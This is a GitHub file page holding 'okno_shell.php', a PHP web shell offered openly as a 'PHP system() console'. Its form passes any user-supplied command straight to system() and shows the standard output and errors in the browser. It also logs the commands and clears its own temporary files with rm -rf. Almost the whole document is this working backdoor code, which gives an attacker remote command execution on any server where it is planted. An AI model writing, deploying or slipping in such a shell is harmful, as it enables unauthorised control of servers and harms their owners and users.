-
Notifications
You must be signed in to change notification settings - Fork 4
/
okno_shell.php
executable file
·96 lines (96 loc) · 2.15 KB
/
okno_shell.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<style type="text/css">
body,td,th {
font-family: Courier New, Courier, monospace;
font-size: 10px;
color: #03F;
}
body {
background-color: #000;
}
a:link {
color: #03F;
}
a:visited {
color: #03F;
}
a:hover {
color: #03F;
}
a:active {
color: #03F;
}
</style>
<?php
echo '<br>________________________________________<br><br>';
$script = "shell.php";
$logfile = "log.log";
$stdout = "shell.out";
$stderr = "shell.err";
$tmp = "shell.tmp";
$cr = "<br>";
echo '<br>PHP system() console by okno - [email protected] <br>';
// Primary Controls
if(!is_writable("."))
die("Fatal Error : Deam! Check your permission in this dir!");
if(empty($command))
exit;
echo '- <a href="'.$script.'?log=zero"> Clear Log File </a> <br>';
echo '- <a href="'.$script.'?log=view"> View Log File </a> <br>';
if ($log == view)
system("cat $logfile");
if ($log == zero)
system("rm -rf $logfile");
echo '
<form action="shell.php" method="post">
command#<br><input type="text" name="command" size="30"/>
<input type="submit" value="run"/>
</form>
';
// Logging System Command
$string = "$command<br>\n";
$log=fopen($logfile,"a");
fwrite($log,$string);
fclose($log);
// Output Stanard System
echo "<br>command: $command<br>";
$cmd = system("$command >shell.out 2>shell.err");
$openf=fopen($stdout,"r");
$openo=fopen($tmp,"a+");
while(!feof($openf)) {
$line = str_replace("\n", "",fgets($openf, 4096));
if ($line != $null) {
$ok = $line . '' . $cr;
fwrite($openo, $ok);
fwrite($openo, "\n");
}
}
fclose($openf);
fclose($openo);
echo "<br>Standard Output:<br>";
echo "<font color=white>";
system("cat shell.tmp");
echo "</font>";
// Stanard Error System
echo '<br>Standard Error:<br>';
system("rm -rf shell.tmp");
$openf=fopen($stderr,"r");
$openo=fopen($tmp,"a+");
while(!feof($openf)) {
$line = str_replace("\n", "",fgets($openf, 4096));
if ($line != $null) {
$lm = $line . '' . $cr;
fwrite($openo, $lm);
fwrite($openo, "\n");
}
}
fclose($openf);
fclose($openo);
echo '<font color=red>';
system("cat shell.tmp");
echo '</font>';
echo '<br><br>________________________________________<br>';
// Cleaning System
system("rm -rf shell.err");
system("rm -rf shell.out");
system("rm -rf shell.tmp");
?>